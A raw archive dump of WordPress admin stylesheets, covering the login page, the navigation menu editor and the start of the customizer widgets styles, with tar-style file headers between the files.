span{float:left;margin-top:6px}.quick-search{width:190px}.quick-search-wrap .spinner{float:none;margin:-3px -10px 0 0}.nav-menus-php .list-wrap{display:none;clear:both;margin-bottom:10px}.nav-menus-php .postbox p.submit{margin-bottom:0}.nav-menus-php .list li{display:none;margin:0 0 5px}.nav-menus-php .list li .menu-item-title{cursor:pointer;display:block}.nav-menus-php .list li .menu-item-title input{margin-right:3px;margin-top:-3px}.menu-item-title input[type=checkbox]{display:inline-block;margin-top:-4px}.menu-item-title .post-state{font-weight:600}#menu-container .inside{padding-bottom:10px}.menu{padding-top:1em}#menu-to-edit{margin:0;padding:.1em 0}.menu ul{width:100%}.menu li{margin-bottom:0;position:relative}.menu-item-bar{clear:both;line-height:1.5;position:relative;margin:9px 0 0}.menu-item-bar .menu-item-handle{border:1px solid #dcdcde;position:relative;padding:10px 15px;height:auto;min-height:20px;max-width:382px;line-height:2.30769230;overflow:hidden;word-wrap:break-word}.menu-item-bar .menu-item-handle:hover{border-color:#8c8f94}#menu-to-edit .menu-item-invalid .menu-item-handle{background:#fcf0f1;border-color:#d63638}.no-js .menu-item-edit-active .item-edit{display:none}.js .menu-item-handle{cursor:move}.menu li.deleting .menu-item-handle{background-image:none;background-color:#f86368}.menu-item-handle .item-title{font-size:13px;font-weight:600;line-height:1.53846153;display:block;margin-right:13em}.menu-item-handle .menu-item-checkbox{display:none}.bulk-selection .menu-item-handle .menu-item-checkbox{display:inline-block;margin-right:6px}.menu-item-handle .menu-item-title.no-title{color:#646970}li.menu-item.ui-sortable-helper .menu-item-bar{margin-top:0}li.menu-item.ui-sortable-helper .menu-item-transport .menu-item-bar{margin-top:9px}.menu .sortable-placeholder{height:35px;width:410px;margin-top:9px}.menu-item .menu-item-transport:empty{display:none}.menu-item-depth-0{margin-left:0}.menu-item-depth-1{margin-left:30px}.menu-item-depth-2{margin-left:60px}.menu-item-depth-3{margin-left:90px}.menu-item-depth-4{margin-left:120px}.menu-item-depth-5{margin-left:150px}.menu-item-depth-6{margin-left:180px}.menu-item-depth-7{margin-left:210px}.menu-item-depth-8{margin-left:240px}.menu-item-depth-9{margin-left:270px}.menu-item-depth-10{margin-left:300px}.menu-item-depth-11{margin-left:330px}.menu-item-depth-0 .menu-item-transport{margin-left:0}.menu-item-depth-1 .menu-item-transport{margin-left:-30px}.menu-item-depth-2 .menu-item-transport{margin-left:-60px}.menu-item-depth-3 .menu-item-transport{margin-left:-90px}.menu-item-depth-4 .menu-item-transport{margin-left:-120px}.menu-item-depth-5 .menu-item-transport{margin-left:-150px}.menu-item-depth-6 .menu-item-transport{margin-left:-180px}.menu-item-depth-7 .menu-item-transport{margin-left:-210px}.menu-item-depth-8 .menu-item-transport{margin-left:-240px}.menu-item-depth-9 .menu-item-transport{margin-left:-270px}.menu-item-depth-10 .menu-item-transport{margin-left:-300px}.menu-item-depth-11 .menu-item-transport{margin-left:-330px}body.menu-max-depth-0{min-width:950px!important}body.menu-max-depth-1{min-width:980px!important}body.menu-max-depth-2{min-width:1010px!important}body.menu-max-depth-3{min-width:1040px!important}body.menu-max-depth-4{min-width:1070px!important}body.menu-max-depth-5{min-width:1100px!important}body.menu-max-depth-6{min-width:1130px!important}body.menu-max-depth-7{min-width:1160px!important}body.menu-max-depth-8{min-width:1190px!important}body.menu-max-depth-9{min-width:1220px!important}body.menu-max-depth-10{min-width:1250px!important}body.menu-max-depth-11{min-width:1280px!important}.item-type{display:inline-block;padding:12px 16px;color:#646970;font-size:12px;line-height:1.5}.item-controls{font-size:12px;position:absolute;right:20px;top:-1px}.item-controls a{text-decoration:none}.item-controls a:hover{cursor:pointer}.item-controls .item-order{padding-right:10px}.nav-menus-php .item-edit{position:absolute;right:-20px;top:0;display:block;width:30px;height:40px;outline:0}.no-js.nav-menus-php .item-edit{position:static;float:right;width:auto;height:auto;margin:12px -10px 12px 0;padding:0;color:#2271b1;text-decoration:underline;font-size:12px;line-height:1.5}.no-js.nav-menus-php .item-edit .screen-reader-text{position:static;clip-path:none;width:auto;height:auto;margin:0}.nav-menus-php .item-edit:before{margin-top:10px;margin-left:4px;width:20px;border-radius:50%;text-indent:-1px}.no-js.nav-menus-php .item-edit:before{display:none}.rtl .nav-menus-php .item-edit:before{text-indent:1px}.js.nav-menus-php .item-edit:focus{box-shadow:none}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}.menu-instructions-inactive{display:none}.menu-item-settings{display:block;max-width:392px;padding:10px;position:relative;z-index:10;border:1px solid #c3c4c7;border-top:none;box-shadow:0 1px 1px rgba(0,0,0,.04)}.menu-item-settings .field-move{margin:3px 0 5px;line-height:1.5}.field-move-visual-label{float:left;margin-right:4px}.menu-item-settings .field-move .button-link{display:none;margin:0 2px}.menu-item-edit-active .menu-item-settings{display:block}.menu-item-edit-inactive .menu-item-settings{display:none}.add-menu-item-pagelinks{margin:.5em -10px;text-align:center}.add-menu-item-pagelinks .page-numbers{display:inline-block;min-width:20px}.add-menu-item-pagelinks .page-numbers.dots{min-width:0}.link-to-original{display:block;margin:0 0 15px;padding:3px 5px 5px;border:1px solid #dcdcde;color:#646970;font-size:12px}.link-to-original a{padding-left:4px;font-style:normal}.hidden-field{display:none}.description-group{display:flex;column-gap:10px}.description-group>*{flex-grow:1}.menu-item-actions{padding-top:15px;padding-bottom:7px}#cancel-save{cursor:pointer}.nav-menus-php .major-publishing-actions{padding:10px 0;display:flex;align-items:center}.nav-menus-php .major-publishing-actions>*{margin-right:10px}.nav-menus-php .major-publishing-actions .form-invalid{padding-left:4px;margin-left:-4px}#menu-item-name-wrap,#menu-item-url-wrap,#nav-menus-frame{display:block}.button-controls{display:flex;align-items:center;justify-content:space-between}.button-controls-customlinkdiv{justify-content:flex-end}@media only screen and (min-width:769px) and (max-width:1000px){body.menu-max-depth-0{min-width:0!important}#menu-management-liquid{width:100%}.nav-menus-php #post-body-content{min-width:0}}@media screen and (max-width:782px){body.nav-menus-php,body.wp-customizer{min-width:0!important}#nav-menus-frame{margin-left:0;float:none;width:100%}#wpbody-content #menu-settings-column{display:block;width:100%;float:none;margin-left:0}#side-sortables .add-menu-item-tabs{margin:15px 0 14px}ul.add-menu-item-tabs li.tabs{padding:13px 15px 14px}.nav-menus-php .customlinkdiv .howto input{width:65%}.nav-menus-php .quick-search{width:85%}#menu-management-liquid{margin-top:25px}.nav-menus-php .menu-name-label.howto span{margin-top:13px}#menu-name{width:100%}.nav-menus-php #nav-menu-header .major-publishing-actions .publishing-action{padding-top:1em}.nav-menus-php .delete-action{font-size:14px;line-height:2.14285714}.menu-item-bar .menu-item-handle,.menu-item-settings{width:auto}.menu-item-settings{padding:10px}.menu-item-settings .description-group{display:block}.menu-item-settings input{width:100%}.menu-item-settings input[type=checkbox],.menu-item-settings input[type=radio]{width:25px}.menu-settings-group{padding-left:0;overflow:visible}.menu-settings-group-name{float:none;width:auto;margin-left:0;margin-bottom:15px}.menu-settings-input{float:none;margin-bottom:15px}.menu-edit .checkbox-input{margin-top:0}.manage-menus select{margin:.5em 0}.wp-core-ui .manage-menus .button{margin-bottom:0}.widefat .menu-locations .menu-location-title{padding-top:16px}}@media only screen and (min-width:783px){@supports (position:sticky) and (scroll-margin-bottom:130px){#nav-menu-footer{position:sticky;bottom:0;z-index:10;box-shadow:0 -1px 0 0 #ddd}#save_menu_header{display:none}}}@media only screen and (max-width:768px){#menu-locations-wrap .widefat{width:100%}.bulk-select-button{padding:5px 10px}} css/login.css 0000644 00000020075 15233246127 0007167 0 ustar 00 html, body { height: 100%; margin: 0; padding: 0; } body { background: #f0f0f1; min-width: 0; color: #3c434a; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; line-height: 1.4; } a { color: var(--wp-admin-theme-color-darker-10); transition-property: border, background, color; transition-duration: .05s; transition-timing-function: ease-in-out; } a { outline: 0; } a:hover, a:active { color: var(--wp-admin-theme-color-darker-20); } a:focus { color: #043959; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } p { line-height: 1.5; } .login .message, .login .notice, .login .success { border-left: 4px solid #3858e9; padding: 8px 12px; margin-top: 0; margin-left: 0; margin-bottom: 20px; background-color: #fff; word-wrap: break-word; } .login .message p, .login .notice p, .login .success p { font-size: 13px; line-height: 1.54; margin: 0.5em 0; } .login .success { border-left-color: #4ab866; background-color: #eff9f1; } /* Match border color from common.css */ .login .notice-error { border-left-color: #cc1818; background-color: #fcf0f0; } .login .login-error-list { list-style: none; } .login .login-error-list li + li { margin-top: 4px; } #loginform p.submit, .login-action-lostpassword p.submit { border: none; margin: -10px 0 20px; /* May want to revisit this */ } .login * { margin: 0; padding: 0; } .login .input::-ms-clear { display: none; } .login .pw-weak { margin-bottom: 15px; } /* rtl:ignore */ .login .button.wp-hide-pw { background: transparent; border: 1px solid transparent; box-shadow: none; font-size: 14px; line-height: normal; width: 2.5rem; height: 2.5rem; min-width: 40px; min-height: 40px; margin: 0; padding: 5px 9px; position: absolute; right: 0; top: 0; } .login .button.wp-hide-pw:hover { background: transparent; } .login .button.wp-hide-pw:focus { background: transparent; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px var(--wp-admin-theme-color); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .login .button.wp-hide-pw:active { background: transparent; box-shadow: none; transform: none; } .login .button.wp-hide-pw .dashicons { width: 1.25rem; height: 1.25rem; } .login .wp-pwd { position: relative; } .no-js .hide-if-no-js { display: none; } .login form { margin: 24px 0; padding: 26px 24px; font-weight: 400; overflow: hidden; background: #fff; border: 1px solid #c3c4c7; box-shadow: 0 1px 3px rgba(0, 0, 0, 0.04); } .login form.shake { animation: shake 0.2s cubic-bezier(.19,.49,.38,.79) both; animation-iteration-count: 3; transform: translateX(0); } @keyframes shake { 25% { transform: translateX(-20px); } 75% { transform: translateX(20px); } 100% { transform: translateX(0); } } @media (prefers-reduced-motion: reduce) { .login form.shake { animation: none; transform: none; } } .login-action-confirm_admin_email #login { width: 60vw; max-width: 650px; margin-top: -2vh; } @media screen and (max-width: 782px) { .login-action-confirm_admin_email #login { box-sizing: border-box; margin-top: 0; padding-left: 4vw; padding-right: 4vw; width: 100vw; } } .login form .forgetmenot { font-weight: 400; float: left; margin-bottom: 0; } .login .button-primary { float: right; } .login .reset-pass-submit { display: flex; flex-flow: row wrap; justify-content: space-between; } .login .reset-pass-submit .button { display: inline-block; float: none; margin-bottom: 6px; } .login .admin-email-confirm-form .submit { text-align: center; } .admin-email__later { text-align: left; } .login form p.admin-email__details { margin: 1.1em 0; } .login .admin-email__heading { border-bottom: 1px #f0f0f1 solid; color: #50575e; font-weight: normal; padding-bottom: 0.5em; text-align: left; } .admin-email__actions div { padding-top: 1.5em; } .login .admin-email__actions .button-primary { float: none; margin-left: 0.25em; margin-right: 0.25em; } #login form p { margin-bottom: 0; } #login form .indicator-hint, #login #reg_passmail { margin-bottom: 16px; } #login form p.submit { margin: 0; padding: 0; } .login label { font-size: 14px; line-height: 1.5; display: inline-block; margin-bottom: 3px; } .login .forgetmenot label, .login .pw-weak label { line-height: 1.5; vertical-align: baseline; } .login h1 { text-align: center; } .login h1 a { background-image: url(../images/w-logo-gray.png?ver=20260303); background-image: none, url(../images/wordpress-logo-gray.svg?ver=20260303); background-size: 84px; background-position: center top; background-repeat: no-repeat; color: #3c434a; height: 84px; font-size: 20px; font-weight: 400; line-height: 1.3; margin: 0 auto 24px; padding: 0; text-decoration: none; width: 84px; text-indent: -9999px; outline: none; overflow: hidden; display: block; } #login { width: 320px; padding: 5% 0 0; margin: auto; } .login #nav, .login #backtoblog { font-size: 13px; padding: 0 24px; } .login #nav { margin: 24px 0 0; } #backtoblog { margin: 16px 0; word-wrap: break-word; } .login #nav a, .login #backtoblog a { text-decoration: none; color: #50575e; } .login #nav a:hover, .login #backtoblog a:hover, .login h1 a:hover { color: var(--wp-admin-theme-color-darker-20); } .login #nav a:focus, .login #backtoblog a:focus, .login h1 a:focus { color: #043959; } .login .privacy-policy-page-link { text-align: center; width: 100%; margin: 3em 0 2em; } .login form .input, .login input[type="text"], .login input[type="password"] { font-size: 24px; line-height: 1.33333333; /* 32px */ width: 100%; border-width: 0.0625rem; padding: 0.1875rem 0.3125rem; /* 3px 5px */ margin: 0 6px 16px 0; min-height: 40px; max-height: none; } .login input.password-input { font-family: Consolas, Monaco, monospace; } /* rtl:ignore */ .js.login input.password-input { padding-right: 2.5rem; } .js.login-action-resetpass input[type="text"], .js.login-action-resetpass input[type="password"], .js.login-action-rp input[type="text"], .js.login-action-rp input[type="password"] { margin-bottom: 0; } .login #pass-strength-result { font-weight: 600; margin: -1px 5px 16px 0; padding: 6px 5px; text-align: center; width: 100%; } body.interim-login { height: auto; } .interim-login #login { padding: 0; margin: 5px auto 20px; } .interim-login.login h1 a { width: auto; } .interim-login #login_error, .interim-login.login .message { margin: 0 0 16px; } .interim-login.login form { margin: 0; } /* Hide visually but not from screen readers */ .screen-reader-text, .screen-reader-text span { border: 0; clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; /* Many screen reader and browser combinations announce broken words as they would appear visually. */ word-wrap: normal !important; word-break: normal !important; } /* Hide the Edge "reveal password" native button */ input::-ms-reveal { display: none; } #language-switcher { padding: 0; overflow: visible; background: none; border: none; box-shadow: none; } #language-switcher select { margin-right: 0.25em; } .language-switcher { margin: 0 auto; padding: 0 0 24px; text-align: center; } .language-switcher label { margin-right: 0.25em; } .language-switcher label .dashicons { width: auto; height: auto; } .login .language-switcher .button { margin-bottom: 0; } @media screen and (max-height: 550px) { #login { padding: 20px 0; } #language-switcher { margin-top: 0; } } @media screen and (max-width: 782px) { .interim-login input[type=checkbox] { width: 1rem; height: 1rem; } .interim-login input[type=checkbox]:checked:before { width: 1.3125rem; height: 1.3125rem; margin: -0.1875rem 0 0 -0.25rem; } #language-switcher label, #language-switcher select { margin-right: 0; } } @media screen and (max-width: 400px) { .login .language-switcher .button { display: block; margin: 5px auto 0; } } css/nav-menus.css 0000644 00000043241 15233246127 0007770 0 ustar 00 /* nav-menu */ /* @todo: determine if this is truly for nav menus only */ .no-js #message { display: block; } ul.add-menu-item-tabs li { padding: 3px 5px 4px 8px; } .accordion-section ul.category-tabs, .accordion-section ul.add-menu-item-tabs, .accordion-section ul.wp-tab-bar { margin: 0; } .accordion-section .categorychecklist { margin: 13px 0; } #nav-menu-meta .accordion-section-content { padding: 18px 13px; resize: vertical; } #nav-menu-meta .button-controls { margin-bottom: 0; } .has-no-menu-item .button-controls { display: none; } #nav-menus-frame { margin-left: 300px; margin-top: 23px; } #wpbody-content #menu-settings-column { display: inline; width: 281px; margin-left: -300px; clear: both; float: left; padding-top: 0; } #menu-settings-column .inside { clear: both; margin: 10px 0 0; height: 100%; max-height: inherit; } #menu-settings-column .categorydiv, #menu-settings-column .customlinkdiv, #menu-settings-column .posttypediv, #menu-settings-column .taxonomydiv { max-height: inherit; height: 100%; } #menu-settings-column .wp-tab-panel, #menu-settings-column .categorydiv div.tabs-panel, #menu-settings-column .customlinkdiv div.tabs-panel, #menu-settings-column .posttypediv div.tabs-panel, #menu-settings-column .taxonomydiv div.tabs-panel { /* Allow space for content after tab panels in nav menu editor. */ max-height: calc( 100% - 75px ); height: 100%; } .metabox-holder-disabled .postbox, .metabox-holder-disabled .accordion-section-content, .metabox-holder-disabled .accordion-section-title { opacity: 0.5; filter: alpha(opacity=50); } .metabox-holder-disabled .button-controls .select-all { display: none; } #wpbody { position: relative; } .is-submenu { color: #50575e; /* #fafafa background */ font-style: italic; font-weight: 400; margin-left: 4px; } .manage-menus { margin-top: 23px; padding: 10px; overflow: hidden; background: #fff; } .manage-menus .selected-menu, .manage-menus select, .manage-menus .submit-btn, .nav-menus-php .add-new-menu-action { display: inline-block; margin-right: 3px; vertical-align: middle; } .manage-menus select, .menu-location-menus select { max-width: 100%; } .menu-edit #post-body-content h3 { margin: 1em 0 10px; } #nav-menu-bulk-actions-top { margin: 1em 0; } #nav-menu-bulk-actions-bottom { margin: 1em 0; margin: calc( 1em + 9px ) 0; } .bulk-actions input.button { margin-right: 12px; } .bulk-select-button { position: relative; display: inline-block; padding: 0 10px; font-size: 13px; line-height: 2.15384615; height: auto; min-height: 30px; background: #f6f7f7; vertical-align: top; border: 1px solid #dcdcde; margin: 0; cursor: pointer; border-radius: 3px; white-space: nowrap; box-sizing: border-box; } .bulk-selection .bulk-select-button { color: #2271b1; border-color: #2271b1; background: #f6f7f7; vertical-align: top; } #pending-menu-items-to-delete { display: none; } .bulk-selection #pending-menu-items-to-delete { display: block; margin-top: 1em; } #pending-menu-items-to-delete p { margin-bottom: 0; } #pending-menu-items-to-delete ul { margin-top: 0; list-style: none; } #pending-menu-items-to-delete ul li { display: inline; } input.bulk-select-switcher + .bulk-select-button-label { vertical-align: inherit; } label.bulk-select-button:hover, label.bulk-select-button:active, label.bulk-select-button:focus-within { background: #f0f0f1; border-color: #0a4b78; color: #0a4b78; } input.bulk-select-switcher:focus + .bulk-select-button-label { color: #0a4b78; } .bulk-actions input.menu-items-delete { appearance: none; font-size: inherit; border: 0; line-height: 2.1em; background: none; cursor: pointer; text-decoration: underline; color: #b32d2e; } .bulk-actions input.menu-items-delete:hover { color: #b32d2e; border: none; } .bulk-actions input.menu-items-delete.disabled { display: none; } .menu-settings { border-top: 1px solid #f0f0f1; margin-top: 2em; } .menu-settings-group { margin: 0 0 10px; padding-left: 20%; } .menu-settings-group:last-of-type { margin-bottom: 0; } .menu-settings-input { float: left; margin: 0; width: 100%; } .menu-settings-group-name { float: left; clear: both; width: 25%; padding: 3px 0 0; margin-left: -25%; /* 20 container left padding x ( 100 container % width / 80 this % width ) */ } .menu-settings label { vertical-align: baseline; } .menu-edit .checkbox-input { margin-top: 4px; } .theme-location-set { color: #646970; font-size: 11px; } /* Menu Container */ /* @todo: responsive view. */ #menu-management-liquid { float: left; min-width: 100%; margin-top: 3px; } /* @todo: responsive view. */ #menu-management { position: relative; margin-right: 20px; margin-top: -3px; width: 100%; } #menu-management .menu-edit { margin-bottom: 20px; } .nav-menus-php #post-body { padding: 0 10px; border-top: 1px solid #fff; border-bottom: 1px solid #dcdcde; background: #fff; } #nav-menu-header, #nav-menu-footer { padding: 0 10px; background: #f6f7f7; } #nav-menu-header { border-bottom: 1px solid #dcdcde; margin-bottom: 0; } #nav-menu-header .menu-name-label { display: inline-block; vertical-align: middle; margin-right: 7px; } .nav-menus-php #post-body div.updated, .nav-menus-php #post-body div.error { margin: 0; } .nav-menus-php #post-body-content { position: relative; float: none; } .nav-menus-php #post-body-content .post-body-plain { margin-bottom: 0; } #menu-management .menu-add-new abbr { font-weight: 600; } #select-nav-menu-container { text-align: right; padding: 0 10px 3px; margin-bottom: 5px; } #select-nav-menu { width: 100px; display: inline; } #menu-name-label { margin-top: -2px; } .widefat .menu-locations .menu-location-title { padding: 13px 10px 0; } .menu-location-title label { font-weight: 600; } .menu-location-menus select { float: left; } #locations-nav-menu-wrapper { padding: 5px 0; } .locations-nav-menu-select select { float: left; width: 160px; margin-right: 5px; } .locations-row-links { float: left; margin: 6px 0 0 6px; } .locations-edit-menu-link, .locations-add-menu-link { margin: 0 3px; } .locations-edit-menu-link { padding-right: 3px; border-right: 1px solid #c3c4c7; } #menu-management .inside { padding: 0 10px; } /* Add Menu Item Boxes */ .postbox .howto input { width: 180px; float: right; } .accordion-container .outer-border { margin: 0; } .customlinkdiv p { margin-top: 0 } #nav-menu-theme-locations .howto select { width: 100%; } #nav-menu-theme-locations .button-controls { text-align: right; } .add-menu-item-view-all { height: 400px; } /* Button Primary Actions */ #menu-container .submit { margin: 0 0 10px; padding: 0; } /* @todo: is this actually used? */ #cancel-save { text-decoration: underline; font-size: 12px; margin-left: 20px; margin-top: 5px; } .button.right, .button-secondary.right, .button-primary.right { float: right; } /* Button Secondary Actions */ .list-controls { float: left; } .add-to-menu { float: right; } .button-controls { clear: both; margin: 10px 0; } .show-all, .hide-all { cursor: pointer; } .hide-all { display: none; } /* Create Menu */ #menu-name { width: 270px; vertical-align: middle; } #manage-menu .inside { padding: 0; } /* Custom Links */ #available-links dt { display: block; } #add-custom-link .howto { font-size: 12px; } #add-custom-link label span { display: block; float: left; margin-top: 5px; padding-right: 5px; } .menu-item-textbox { width: 180px; } .customlinkdiv .menu-item-textbox { width: 100%; } .nav-menus-php .howto span { float: left; margin-top: 6px; } /* Menu item types */ .quick-search { width: 190px; } .quick-search-wrap .spinner { float: none; margin: -3px -10px 0 0; } .nav-menus-php .list-wrap { display: none; clear: both; margin-bottom: 10px; } .nav-menus-php .postbox p.submit { margin-bottom: 0; } /* Listings */ .nav-menus-php .list li { display: none; margin: 0 0 5px; } .nav-menus-php .list li .menu-item-title { cursor: pointer; display: block; } .nav-menus-php .list li .menu-item-title input { margin-right: 3px; margin-top: -3px; } .menu-item-title input[type=checkbox] { display: inline-block; margin-top: -4px; } .menu-item-title .post-state { font-weight: 600; } /* Nav Menu */ #menu-container .inside { padding-bottom: 10px; } .menu { padding-top: 1em; } #menu-to-edit { margin: 0; padding: 0.1em 0; } .menu ul { width: 100%; } .menu li { margin-bottom: 0; position: relative; } .menu-item-bar { clear: both; line-height: 1.5; position: relative; margin: 9px 0 0; } .menu-item-bar .menu-item-handle { border: 1px solid #dcdcde; position: relative; padding: 10px 15px; height: auto; min-height: 20px; max-width: 382px; line-height: 2.30769230; overflow: hidden; word-wrap: break-word; } .menu-item-bar .menu-item-handle:hover { border-color: #8c8f94; } #menu-to-edit .menu-item-invalid .menu-item-handle { background: #fcf0f1; border-color: #d63638; } .no-js .menu-item-edit-active .item-edit { display: none; } .js .menu-item-handle { cursor: move; } .menu li.deleting .menu-item-handle { background-image: none; background-color: #f86368; } .menu-item-handle .item-title { font-size: 13px; font-weight: 600; line-height: 1.53846153; display: block; /* @todo: responsive view. */ margin-right: 13em; } .menu-item-handle .menu-item-checkbox { display: none; } .bulk-selection .menu-item-handle .menu-item-checkbox { display: inline-block; margin-right: 6px; } .menu-item-handle .menu-item-title.no-title { color: #646970; } /* Sortables */ li.menu-item.ui-sortable-helper .menu-item-bar { margin-top: 0; } li.menu-item.ui-sortable-helper .menu-item-transport .menu-item-bar { margin-top: 9px; /* Must use the same value used by the dragged item .menu-item-bar */ } .menu .sortable-placeholder { height: 35px; width: 410px; margin-top: 9px; /* Must use the same value used by the dragged item .menu-item-bar */ } /* Hide the transport list when it's empty */ .menu-item .menu-item-transport:empty { display: none; } /* WARNING: The factor of 30px is hardcoded into the nav-menus JavaScript. */ .menu-item-depth-0 { margin-left: 0; } .menu-item-depth-1 { margin-left: 30px; } .menu-item-depth-2 { margin-left: 60px; } .menu-item-depth-3 { margin-left: 90px; } .menu-item-depth-4 { margin-left: 120px; } .menu-item-depth-5 { margin-left: 150px; } .menu-item-depth-6 { margin-left: 180px; } .menu-item-depth-7 { margin-left: 210px; } .menu-item-depth-8 { margin-left: 240px; } .menu-item-depth-9 { margin-left: 270px; } .menu-item-depth-10 { margin-left: 300px; } .menu-item-depth-11 { margin-left: 330px; } .menu-item-depth-0 .menu-item-transport { margin-left: 0; } .menu-item-depth-1 .menu-item-transport { margin-left: -30px; } .menu-item-depth-2 .menu-item-transport { margin-left: -60px; } .menu-item-depth-3 .menu-item-transport { margin-left: -90px; } .menu-item-depth-4 .menu-item-transport { margin-left: -120px; } .menu-item-depth-5 .menu-item-transport { margin-left: -150px; } .menu-item-depth-6 .menu-item-transport { margin-left: -180px; } .menu-item-depth-7 .menu-item-transport { margin-left: -210px; } .menu-item-depth-8 .menu-item-transport { margin-left: -240px; } .menu-item-depth-9 .menu-item-transport { margin-left: -270px; } .menu-item-depth-10 .menu-item-transport { margin-left: -300px; } .menu-item-depth-11 .menu-item-transport { margin-left: -330px; } body.menu-max-depth-0 { min-width: 950px !important; } body.menu-max-depth-1 { min-width: 980px !important; } body.menu-max-depth-2 { min-width: 1010px !important; } body.menu-max-depth-3 { min-width: 1040px !important; } body.menu-max-depth-4 { min-width: 1070px !important; } body.menu-max-depth-5 { min-width: 1100px !important; } body.menu-max-depth-6 { min-width: 1130px !important; } body.menu-max-depth-7 { min-width: 1160px !important; } body.menu-max-depth-8 { min-width: 1190px !important; } body.menu-max-depth-9 { min-width: 1220px !important; } body.menu-max-depth-10 { min-width: 1250px !important; } body.menu-max-depth-11 { min-width: 1280px !important; } /* Menu item controls */ .item-type { display: inline-block; padding: 12px 16px; color: #646970; font-size: 12px; line-height: 1.5; } .item-controls { font-size: 12px; position: absolute; right: 20px; top: -1px; } .item-controls a { text-decoration: none; } .item-controls a:hover { cursor: pointer; } .item-controls .item-order { padding-right: 10px; } .nav-menus-php .item-edit { position: absolute; right: -20px; top: 0; display: block; width: 30px; height: 40px; outline: none; } .no-js.nav-menus-php .item-edit { position: static; float: right; width: auto; height: auto; margin: 12px -10px 12px 0; padding: 0; color: #2271b1; text-decoration: underline; font-size: 12px; line-height: 1.5; } .no-js.nav-menus-php .item-edit .screen-reader-text { position: static; clip-path: none; width: auto; height: auto; margin: 0; } .nav-menus-php .item-edit:before { margin-top: 10px; margin-left: 4px; width: 20px; border-radius: 50%; text-indent: -1px; /* account for the dashicon alignment */ } .no-js.nav-menus-php .item-edit:before { display: none; } .rtl .nav-menus-php .item-edit:before { text-indent: 1px; /* account for the dashicon alignment */ } .js.nav-menus-php .item-edit:focus { box-shadow: none; } .nav-menus-php .item-edit:focus:before { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } /* Menu editing */ .menu-instructions-inactive { display: none; } .menu-item-settings { display: block; max-width: 392px; padding: 10px; position: relative; z-index: 10; /* Keep .item-title's shadow from appearing on top of .menu-item-settings */ border: 1px solid #c3c4c7; border-top: none; box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); } .menu-item-settings .field-move { margin: 3px 0 5px; line-height: 1.5; } .field-move-visual-label { float: left; margin-right: 4px; } .menu-item-settings .field-move .button-link { display: none; margin: 0 2px; } .menu-item-edit-active .menu-item-settings { display: block; } .menu-item-edit-inactive .menu-item-settings { display: none; } .add-menu-item-pagelinks { margin: .5em -10px; text-align: center; } .add-menu-item-pagelinks .page-numbers { display: inline-block; min-width: 20px; } .add-menu-item-pagelinks .page-numbers.dots { min-width: 0; } .link-to-original { display: block; margin: 0 0 15px; padding: 3px 5px 5px; border: 1px solid #dcdcde; color: #646970; font-size: 12px; } .link-to-original a { padding-left: 4px; font-style: normal; } .hidden-field { display: none; } .description-group { display: flex; column-gap: 10px; } .description-group > * { flex-grow: 1; } .menu-item-actions { padding-top: 15px; padding-bottom: 7px; } #cancel-save { cursor: pointer; } /* Major/minor publishing actions (classes) */ .nav-menus-php .major-publishing-actions { padding: 10px 0; display: flex; align-items: center; } .nav-menus-php .major-publishing-actions > * { margin-right: 10px; } .nav-menus-php .major-publishing-actions .form-invalid { padding-left: 4px; margin-left: -4px; } #nav-menus-frame, #menu-item-url-wrap, #menu-item-name-wrap { display: block; } .button-controls { display: flex; align-items: center; justify-content: space-between; } .button-controls-customlinkdiv { justify-content: flex-end; } /* =Media Queries -------------------------------------------------------------- */ @media only screen and (min-width: 769px) and (max-width: 1000px) { body.menu-max-depth-0 { min-width: 0 !important; } #menu-management-liquid { width: 100%; } .nav-menus-php #post-body-content { min-width: 0; } } @media screen and (max-width: 782px) { body.nav-menus-php, body.wp-customizer { min-width: 0 !important; } #nav-menus-frame { margin-left: 0; float: none; width: 100%; } #wpbody-content #menu-settings-column { display: block; width: 100%; float: none; margin-left: 0; } #side-sortables .add-menu-item-tabs { margin: 15px 0 14px; } ul.add-menu-item-tabs li.tabs { padding: 13px 15px 14px; } .nav-menus-php .customlinkdiv .howto input { width: 65%; } .nav-menus-php .quick-search { width: 85%; } #menu-management-liquid { margin-top: 25px; } .nav-menus-php .menu-name-label.howto span { margin-top: 13px } #menu-name { width: 100%; } .nav-menus-php #nav-menu-header .major-publishing-actions .publishing-action { padding-top: 1em; } .nav-menus-php .delete-action { font-size: 14px; line-height: 2.14285714; } .menu-item-bar .menu-item-handle, .menu-item-settings { width: auto; } .menu-item-settings { padding: 10px; } .menu-item-settings .description-group { display: block; } .menu-item-settings input { width: 100%; } .menu-item-settings input[type="checkbox"], .menu-item-settings input[type="radio"] { width: 25px; } .menu-settings-group { padding-left: 0; overflow: visible; } .menu-settings-group-name { float: none; width: auto; margin-left: 0; margin-bottom: 15px; } .menu-settings-input { float: none; margin-bottom: 15px; } .menu-edit .checkbox-input { margin-top: 0; } .manage-menus select { margin: 0.5em 0; } .wp-core-ui .manage-menus .button { margin-bottom: 0; } .widefat .menu-locations .menu-location-title { padding-top: 16px; } } @media only screen and (min-width: 783px) { @supports (position: sticky) and (scroll-margin-bottom: 130px) { #nav-menu-footer { position: sticky; bottom: 0; z-index: 10; box-shadow: 0 -1px 0 0 #ddd; } #save_menu_header { display: none; } } } @media only screen and (max-width: 768px) { /* menu locations */ #menu-locations-wrap .widefat { width: 100%; } .bulk-select-button { padding: 5px 10px; } } css/customize-widgets.min.css 0000644 00000024216 15233246127 0012330 0 ustar 00 /*! This file is auto-generated */ .wp-full-overlay-sidebar{overflow:visible}.control-section.control-section-sidebar,.customize-control-sidebar_widgets .hide-if-js,.customize-control-sidebar_widgets label{display:none}.control-section.control-section-sidebar .accordion-section-content.ui-sortable{overflow:visible}.customize-control-widget_form 